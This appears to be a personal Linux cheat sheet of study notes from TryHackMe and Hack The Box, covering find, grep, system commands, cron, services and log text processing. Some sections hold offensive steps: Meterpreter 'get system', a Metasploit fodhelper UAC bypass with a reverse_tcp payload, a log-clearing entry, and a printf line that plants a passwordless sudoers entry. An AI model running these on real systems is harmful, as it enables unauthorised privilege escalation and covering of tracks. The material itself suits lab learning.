# Linux Basics

### Reference

* <https://tryhackme.com/room/linuxfundamentalspart3> /2/1
* <https://tryhackme.com/room/linuxstrengthtraining>
* HACK THE BOX Academy Linux
* <https://explainshell.com/>

### Finding  Files

```shell
find / -type f -name pass find -name *.txt 2>/dev/null
```

```shell
find . -writable 2>/dev/null// important to search for priv escallation
```

```
find / -perm -4000 *.txt -ls 2>/dev/null \\to view executable binaries
```

```
find / -name *.txt -ls 2>/dev/null  to list all text files in system
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FD6K3DzKrT063oynqaAFa%2Fimage.png?alt=media&#x26;token=9bdb6b92-181c-4619-a2f3-2a545a755b33" alt=""><figcaption></figcaption></figure>

### Finding keyword in files

```
grep -nri "/tmp/message" /usr
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FT3zRElduFmgXR6kD7169%2Fimage.png?alt=media&#x26;token=c24f7118-d17d-4497-88fe-864dd5172ea5" alt=""><figcaption></figcaption></figure>

### Locate commad

```
locate rockyou.txt
sudo updatedb  (essential to make a listing of directories/files)
```

### ls with modified time

```sh
ls -t
```

| <p>Find files based on filename<br></p>                                       | <p>find \[directory path] -type f -name \[filename]<br></p>                                     | <p>find /home/Andy -type f -name sales.txt<br></p>                                                                                                                                                                                    |
| ----------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p>Find Directory based on directory name<br></p>                             | find \[directory path] -type d -name \[filename]                                                | find /home/Andy -type d -name pictures                                                                                                                                                                                                |
| <p>Find files based on size<br></p>                                           | find \[directory path] -type f -size \[size]                                                    | <p>find /home/Andy -type f -size 10c</p><p>(c for bytes,</p><p>k for kilobytes</p><p>M megabytes</p><p>G for gigabytes</p><p>type:'man find' for full information on the  options)<br></p>                                            |
| <p>Find files based on username<br></p>                                       | find \[directory path] -type f -user \[username]                                                | find /etc/server -type f -user john                                                                                                                                                                                                   |
| Find files based on group name                                                | find \[directory path] -type f -group \[group name]                                             | find /etc/server -type f -group teamstar                                                                                                                                                                                              |
| <p>Find files modified after a specific date<br></p>                          | <p>find \[directory path] -type f -newermt '\[date and time]'<br></p>                           | <p>find / -type f -newermt '6/30/2020 0:00:00'</p><p>(all dates/times after 6/30/2020 0:00:00 will be considered a condition to look for)<br></p>                                                                                     |
| Find files based on date modified                                             | find \[directory path] -type f -newermt \[start date range] ! -newermt \[end date range]        | <p>find / -type f -newermt 2013-09-12 ! -newermt 2013-09-14</p><p>(all dates before 2013-09-12 will be excluded; all dates after 2013-09-14 will be excluded, therefore this only leaves 2013-09-13 as the date to look for.)<br></p> |
| Find files based on date accessed                                             | find \[directory path] -type f -newerat \[start date range] ! -newerat \[end date range]        | <p>find / -type f -newerat 2017-09-12 ! -newerat 2017-09-14</p><p>(all dates before 2017-09-12 will be excluded; all dates after 2017-09-14 will be excluded, therefore this only leaves 2017-09-13 as the date to look for.)</p>     |
| <p><mark style="color:red;">Find files with a specific keyword</mark><br></p> | <p><mark style="color:red;"><strong>grep -iRl \[directory path/keyword]</strong></mark><br></p> | <mark style="color:red;">**grep -iRl '/folderA/flag'**</mark>                                                                                                                                                                         |
| Ignore only these                                                             |                                                                                                 | grep -v "hello"                                                                                                                                                                                                                       |
| <p>read the manual for the find command<br></p>                               | <p>man find<br></p>                                                                             | man find                                                                                                                                                                                                                              |
| <mark style="color:red;">**check the history of bash**</mark>                 | <mark style="color:red;">**history**</mark>                                                     |                                                                                                                                                                                                                                       |

### SSH key does not work

chmod 600 for SSH key to work

### Check Sudo Permissions

sudo -l (tells which programs user can run as root)

### Calculate Hash

Sha256sum filename (to compute the hash)

### Logs

Linux logs are located in var/log

### Important commands

| `whoami`                                 | Displays current username.                                                                                                         |
| ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| <mark style="color:red;">**`id`**</mark> | <mark style="color:red;">**Returns users identity. Gives other groups the user is part of.**</mark>                                |
| `hostname`                               | Sets or prints the name of current host system.                                                                                    |
| **`uname -a`**                           | **Prints basic information about the operating system name and system hardware.**                                                  |
| `pwd`                                    | Returns working directory name.                                                                                                    |
| `ifconfig`                               | The ifconfig utility is used to assign or to view an address to a network interface and/or configure network interface parameters. |
| `ip`                                     | Ip is a utility to show or manipulate routing, network devices, interfaces and tunnels.                                            |
| `netstat`                                | Shows network status.                                                                                                              |

| `ss`             | Another utility to investigate sockets.          |
| ---------------- | ------------------------------------------------ |
| `ps`             | Shows process status.                            |
| ps aux           | processes by all users                           |
| top              | real time view of processes                      |
| `who`            | Displays who is logged in.                       |
| `env`            | Prints environment or sets and executes command. |
| `lsblk`          | Lists block devices.                             |
| `lsusb`          | Lists USB devices                                |
| `lsof`           | Lists opened files.                              |
| `lspci`          | Lists PCI devices.                               |
| wc -l access.log | show no of lines in a file                       |

| `su`            | The `su` utility requests appropriate user credentials via PAM and switches to that user ID (the default user is the superuser). A shell is then executed. **su - rocketchat** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `useradd`       | Creates a new user or update default new user information.                                                                                                                     |
| `userdel`       | Deletes a user account and related files.                                                                                                                                      |
| `usermod`       | Modifies a user account.                                                                                                                                                       |
| `addgroup`      | Adds a group to the system.                                                                                                                                                    |
| `delgroup`      | Removes a group from the system.                                                                                                                                               |
| `passwd`        | Changes user password.                                                                                                                                                         |
| lsb\_release -a | Current  OS version                                                                                                                                                            |

### Start stop service

systemctl stop myservice

* Start
* Stop
* Enable  (add to system start up)
* Disable

### Background process

* ctrl+z&#x20;
* add **&** at the end
* fg processid

### Important Files

| File                          | Directory | Importance                    |
| ----------------------------- | --------- | ----------------------------- |
| shadow, passwd                | /etc      | passwords                     |
| sudoers                       | /etc      | Sudo permissions              |
| log,backup                    | /var      |                               |
|                               | /tmp      | writable in most of the cases |
| fail2ban.log, ufw\.log,apache | /var/log  | important logs                |
|                               |           |                               |

### cronjobs

**Crontab** is one of the processes that is started during boot, which is responsible for facilitating and managing cron jobs.

A crontab is simply a special file with formatting that is recognised by the `cron` process to execute each line step-by-step. Crontabs require 6 specific values:

| Value | Description                                    |
| ----- | ---------------------------------------------- |
| MIN   | What minute to execute at                      |
| HOUR  | What hour to execute at                        |
| DOM   | <p>What day of the month to execute at<br></p> |
| MON   | What month of the year to execute at           |
| DOW   | What day of the week to execute at             |
| CMD   | The actual command that will be executed.      |

crontab generator can be used to generate [crontabs](https://crontab-generator.org/).Crontabs can be edited by using `crontab -e`, where you can select an editor (such as Nano) to edit your crontab.

crontab -l   to see running crontabs

### Services

Start a service

```sh
systemctl start ssh
```

```sh
systemctl status ssh
```

run a service after start up

```sh
systemctl enable ssh
```

Enumerate services

```sh
ps -aux
```

```sh
systemctl list-units --type=service
```

### Access a shared folder

In Network tab press ctrl + L

```
smb://192.168.1.11
```

### Escalate the privilege

```
get system
get system -t 1 for using named pipe
```

### Bypass Windows UAC

background the session with ctrl+z

```
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
set paypload windows/meterpreter/reverse_tcp
run
```

### Clear logs

```
clearenv
```

## Cat alternative

if cat command does not work, try head, less, nano, vim. If not use grep

```
grep . hash.txt
grep -R . // displays all content of all files
```

### Playing with text. Sorting, finding uniques values and cutting the values

```
# The first use of the cut command retrieves the column of the domain:port, and the second one removes the port by splitting it with a colon.

ubuntu@tryhackme:~/Desktop/artefacts$ cut -d ' ' -f3 access.log | cut -d ':' -f1
sway.com
sway.com
sway.office.com
--- REDACTED FOR BREVITY ---

# After retrieving the domains, the sort command arranges the list in alphabetical order

ubuntu@tryhackme:~/Desktop/artefacts$ cut -d ' ' -f3 access.log | cut -d ':' -f1 | sort
account.activedirectory.windowsazure.com
account.activedirectory.windowsazure.com
account.activedirectory.windowsazure.com
--- REDACTED FOR BREVITY ---

# Lastly, the uniq command removes all the duplicates

ubuntu@tryhackme:~/Desktop/artefacts$ cut -d ' ' -f3 access.log | cut -d ':' -f1 | sort | uniq
account.activedirectory.windowsazure.com
activity.windows.com
admin.microsoft.com
--- REDACTED FOR BREVITY ---
```

We already have the list of unique domains based on our previous use case. Now, we only need to add some parameters to our commands to get the count of each domain accessed. This can be done by adding the `-c` option to the uniq command.

```
ubuntu@tryhackme:~/Desktop/artefacts$ cut -d ' ' -f3 access.log | cut -d ':' -f1 | sort | uniq -c
    423 account.activedirectory.windowsazure.com
    184 activity.windows.com
    680 admin.microsoft.com
    272 admin.onedrive.com
    304 adminwebservice.microsoftonline.com
```

Moreover, the result can be sorted again based on the count of each domain by using the `-n` option of the sort command.

```
ubuntu@tryhackme:~/Desktop/artefacts$ cut -d ' ' -f3 access.log | cut -d ':' -f1 | sort | uniq -c | sort -n
     78 partnerservices.getmicrosoftkey.com
    113 **REDACTED**
    118 ocsp.digicert.com
    123 officeclient.microsoft.com
--- REDACTED FOR BREVITY ---
```

Based on the result, you can see that the count of connections made for each domain is sorted in ascending order. If you want to make the output appear in descending order,  use the `-r` option. Note that it can also be combined with the `-n` option (`-nr` if written together).

```
ubuntu@tryhackme:~/Desktop/artefacts$ cut -d ' ' -f3 access.log | cut -d ':' -f1 | sort | uniq -c | sort -nr
   4992 www.office.com
   4695 login.microsoftonline.com
   1860 www.globalsign.com
   1581 **REDACTED**
   1554 learn.microsoft.com
--- REDACTED FOR BREVITY --
```

```
cat wishlist.txt | sort | uniq > /tmp/dump.txt
```

1. The `cat wishlist.txt | sort | uniq` lists unique items from the wishlist.txt.
2. The command then sends the output (unique orders) to the `/tmp/dump.txt` file.

### Escalate to root (If you can)

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FUAYwaT6HWvAJqgqmRpTP%2FScreenshot_9.png?alt=media&#x26;token=71dd5160-82b4-4d25-8a2a-1e8a340a13f5" alt=""><figcaption></figcaption></figure>

### Printf to add content to a file

```
printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
```

On execution, these lines will add a new entry to the **/etc/sudoers** file which will allow the student user to use sudo without providing any password.

### Scheduled jobs

“Investigate scheduled jobs” means we need to check the cron jobs. Let’s check those entries and see what we can find.

```
ls -l /etc/cron.d
```
